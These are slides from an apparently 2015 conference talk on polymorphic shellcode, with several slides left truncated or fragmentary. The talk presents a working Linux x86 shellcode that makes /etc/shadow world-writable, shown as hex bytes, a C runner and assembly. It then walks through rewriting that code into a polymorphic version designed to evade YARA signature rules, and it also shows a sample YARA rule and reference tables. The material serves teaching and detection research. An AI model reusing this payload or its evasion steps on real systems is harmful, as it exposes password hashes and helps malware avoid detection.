POLYMORPHIC SHELLCODES

SEC/ADMIN CONFERENCE 2015

PEDRO CANDEL – Deloitte CyberSOC Academy
@nn2ed_s4ur0n
pcandel@cybersoc.deloitte.es

Whoami

Deloitte. CyberSOC Academy

```
class PedroC:
    def __init__(self):
        self.name = 'Pedro Candel'
        self.email = 'pcandel@cybersoc.deloitte.es'
        self.nickname = '@NN2ed_s4ur0n'
        self.role = 'Deloitte CyberSOC Academy'
        self.interest = [ 'Reversing', 'Malware', 'Offensive Security', … ]
        self.member_of = [ 'NavajaNegra', 'mlw.re', 'OWASP', … ]
```

mlw.re

NAVAJA NEGRA CONFERENCE – ALBACETE

OWASP Open Web Application Security Project Madrid Chapter

Shellcode

- Small piece of code used as the **payload** in the explotation of a software **vulnerability**.
- It is called "shellcode" because it typically starts a **command shell**, but any piece of code that performs a similar task can be called **shellcode**.

POLYMORPHIC SHELLCODES

shell-storm.org/shellcode/file

```
# 5m0k3.digital.3scape@gmail.com
# http://plasticsouptaste.blogspot.co
# Name: 33 bytes chmod("/etc/shadow",
# Platform: Linux x86

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[]
="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6
                                    \xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcod
(*(void(*)()) shellcode)();

return 0;
}

/*
xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80


--
Blog transitioéthanolique contemporai
*/
```

```
xor     eax,eax
push    eax
mov     al,0xf
push    0x776f6461
push    0x68732f63
push    0x74652f2f
mov     ebx,esp
xor     ecx,ecx
mov     cx,0x1ff
int     0x80
inc     eax
int     0x80
```

Shellcode

Name	Registers						Definition
	eax	ebx	ecx	edx	esi	edi	
sys_restart_syscall	0x00	–	–	–	–	–	kernel/signal.c:2058
sys_exit	0x01	int error_code	–	–	–	–	kernel/exit.c:1046
sys_fork	0x02	struct pt_regs *					arch/alpha/kernel/entry.S:716
sys_read	0x03	unsigned int fd	char __user *buf	size_t count	–	–	fs/read_write.c:391
sys_write	0x04	unsigned int fd	const char __user *buf	size_t count	–	–	fs/read_write.c:408
sys_open	0x05	const char __user *filename	int flags	int mode	–	–	fs/open.c:900
sys_close	0x06	unsigned int fd	–	–	–	–	fs/open.c:969
sys_waitpid	0x07	pid_t pid	int __user *stat_addr	int options	–	–	kernel/exit.c:1771
sys_creat	0x08	const char __user *pathname	int mode	–	–	–	fs/open.c:933
sys_link	0x09	const char __user *oldname	const char __user *newname	–	–	–	fs/namei.c:2520
sys_unlink	0x0a	const char __user *pathname	–	–	–	–	fs/namei.c:2352
sys_execve	0x0b	char __user *	char __user *__user *	char __user *__user *	struct pt_regs *	–	arch/alpha/kernel/entry.S:925
sys_chdir	0x0c	const char __user *filename	–	–	–	–	fs/open.c:361
sys_time	0x0d	time_t __user *tloc	–	–	–	–	kernel/posix-timers.c:855
sys_mknod	0x0e	const char __user	int mode	unsigned dev	–	–	fs/namei.c:2067
sys_chmod	0x0f	const char __user *filename	mode_t mode	–	–	–	fs/open.c:507

Sh

-
-
-

```
#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[]
="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\
x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66
\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}
```

Demo time

Yara

- https://github.com/plusvic/yara
- YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples.
- With YARA you can create descriptions of malware families.

Yara

- Yara is based on textual or binary patterns. Each description, a.k.a **rule**, consists of a set of strings and a boolean expression which determine its logic.

Y

- e,
- e

```
rule silent_banker : banker
{
    meta:
        description = "This is just an example"
        thread_level = 3
        in_the_wild = true

    strings:
        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"

    condition:
        $a or $b or $c
}
```

Yararules

- http://yararules.com/
- One of the main objectives of the Yara Rules project is offer a Yara ruleset as complete as possible to provide a quick way to get and update existing firms.

Yararules

- Five categories: AntiDebug, Crypto, Malicious Document, Packer and Malware

Demo time

WTF?

- First step: Read the fuck code!

Polymorphic version

- S

x86 Instruction Set Reference

CWD/CDQ

Convert Word to Doubleword/Convert Doubleword to Quadword

Opcode	Mnemonic	Description
99	CWD	DX:AX = sign-extend of AX
99	CDQ	EDX:EAX = sign-extend of EAX

Description

Doubles the size of the operand in register AX or EAX (depending on the operand size) by means of sign extension and stores the result in registers DX:AX or EDX:EAX, respectively.

The CWD instruction copies the sign (bit 15) of the value in the AX register into every bit position in the DX register (see Figure 7-6 in the IA-32 Intel Architecture Software Developer's Manual, Volume 1). The CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.

The CWD instruction can be used to produce a doubleword dividend from a word before a word division, and the CDQ instruction can be used to produce a quadword dividend from a doubleword before doubleword division.

The CWD and CDQ mnemonics reference the same opcode. The CWD instruction is intended for use when the operand-size attribute is 16 and the CDQ instruction for when the operand-size attribute is 32. Some assemblers may force the operand size to 16 when CWD is used and to 32 when CDQ is used. Others may treat these mnemonics as synonyms (CWD/CDQ) and use the current setting of the operand-size attribute to determine the size of values to be converted, regardless of the mnemonic used.

Operation

```
if(OperandSize == 16) DX = SignExtend(AX); //CWD instruction
else EDX = SignExtend(EAX); //OperandSize = 32, CDQ instruction
```

Polymorphic version

- Instead of using the exact syscall number, move inside the register (syscall-2) and then increment it

```
mov     al,0xf
```

```
mov al, 0xd
inc al
inc al
```

Po

Dec	Hx	Char	Dec	Hx	HTML	Char	Dec	Hx	HTML	Char	Dec	Hx	HTML	Char
0	0	NUL (null)	32	20	&#32;	Space	64	40	&#64;	@	96	60	&#96;	`
1	1	SOH (Start of heading)	33	21	&#33;	!	65	41	&#65;	A	97	61	&#97;	a
2	2	STX (Start of text)	34	22	&#34;	"	66	42	&#66;	B	98	62	&#98;	b
3	3	ETX (End of text)	35	23	&#35;	#	67	43	&#67;	C	99	63	&#99;	c
4	4	EOT (End of transmission)	36	24	&#36;	$	68	44	&#68;	D	100	64	&#100;	d
5	5	ENQ (Enquiry)	37	25	&#37;	%	69	45	&#69;	E	101	65	&#101;	e
6	6	ACK (Acknowledge)	38	26	&#38;	&	70	46	&#70;	F	102	66	&#102;	f
7	7	BEL (Bell)	39	27	&#39;	'	71	47	&#71;	G	103	67	&#103;	g
8	8	BS (Backspace)	40	28	&#40;	(	72	48	&#72;	H	104	68	&#104;	h
9	9	TAB (Horizontal tab)	41	29	&#41;	)	73	49	&#73;	I	105	69	&#105;	i
10	A	LF (NL line fd, new line)	42	2A	&#42;	*	74	4A	&#74;	J	106	6A	&#106;	j
11	B	VT (Vertical tab)	43	2B	&#43;	+	75	4B	&#75;	K	107	6B	&#107;	k
12	C	FF (NP form fd, new page)	44	2C	&#44;	,	76	4C	&#76;	L	108	6C	&#108;	l
13	D	CR (Carriage return)	45	2D	&#45;	-	77	4D	&#77;	M	109	6D	&#109;	m
14	E	SO (Shift out)	46	2E	&#46;	.	78	4E	&#78;	N	110	6E	&#110;	n
15	F	SI (Shift in)	47	2F	&#47;	/	79	4F	&#79;	O	111	6F	&#111;	o
16	10	DLE (Data link escape)	48	30	&#48;	0	80	50	&#80;	P	112	70	&#112;	p
17	11	DC1 (Device control 1)	49	31	&#49;	1	81	51	&#81;	Q	113	71	&#113;	q
18	12	DC2 (Device control 2)	50	32	&#50;	2	82	52	&#82;	R	114	72	&#114;	r
19	13	DC3 (Device control 3)	51	33	&#51;	3	83	53	&#83;	S	115	73	&#115;	s
20	14	DC4 (Device control 4)	52	34	&#52;	4	84	54	&#84;	T	116	74	&#116;	t
21	15	NAK (Negative acknowledge)	53	35	&#53;	5	85	55	&#85;	U	117	75	&#117;	u
22	16	SYN (Synchronous idle)	54	36	&#54;	6	86	56	&#86;	V	118	76	&#118;	v
23	17	ETB (End of trans. block)	55	37	&#55;	7	87	57	&#87;	W	119	77	&#119;	w
24	18	CAN (Cancel)	56	38	&#56;	8	88	58	&#88;	X	120	78	&#120;	x
25	19	EM (End of medium)	57	39	&#57;	9	89	59	&#89;	Y	121	79	&#121;	y
26	1A	SUB (Substitute)	58	3A	&#58;	:	90	5A	&#90;	Z	122	7A	&#122;	z
27	1B	ESC (Escape)	59	3B	&#59;	;	91	5B	&#91;	[	123	7B	&#123;	{
28	1C	FS (File separator)	60	3C	&#60;	<	92	5C	&#92;	\	124	7C	&#124;	|
29	1D	GS (Group separator)	61	3D	&#61;	=	93	5D	&#93;	]	125	7D	&#125;	}
30	1E	RS (Record separator)	62	3E	&#62;	>	94	5E	&#94;	^	126	7E	&#126;	~
31	1F	US (Unit separator)	63	3F	&#63;	?	95	5F	&#95;	_	127	7F	&#127;	DEL

Polymorphic version

- 776F6461
- ED
- Ad 44)
- Save the operation

```
mov edx,0x11223344
add edx,0x664D311D
push edx
```

Polymorphic version

- hs/c (/et**c/sh**adow)
- 6
- N (this v
- Rotate left 16 bits this value
- Save this value onto the stack

```
mov edx,0x2f636873
rol edx,16
push edx
```

Polymorphic version

- te// (**//et**c/shadow)
- 74652F2F
- 
```
mov dword [esp-4],0x74652f2f
sub esp,4
```
ve
- Tip: Push instruction adjust the stack pointer automatically. We need manual adjust the stack

Polymorphic version

- Review the code

```
mov ebx,esp
xor ecx,ecx
mov cx,0x1ff
int 0x80
inc eax
int 0x80
```

Polymorp

- Our fi

```
global _start
section .text
_start:
        cdq
        mov al, 0xd
        inc al
        inc al
        push edx
        mov edx,0x11223344
        add edx,0x664D311D
        push edx
        mov edx,0x2f636873
        rol edx,16
        push edx
        mov dword [esp-4],0x74652f2f
        sub esp,4
        mov ebx,esp
        mov cx,0x1ff
        int 0x80
        inc eax
        int 0x80
```

Demo time

THANKS!

SEC/ADMIN CONFERENCE 2015

PEDRO CANDEL – Deloitte CyberSOC Academy
@nn2ed_s4ur0n
pcandel@cybersoc.deloitte.es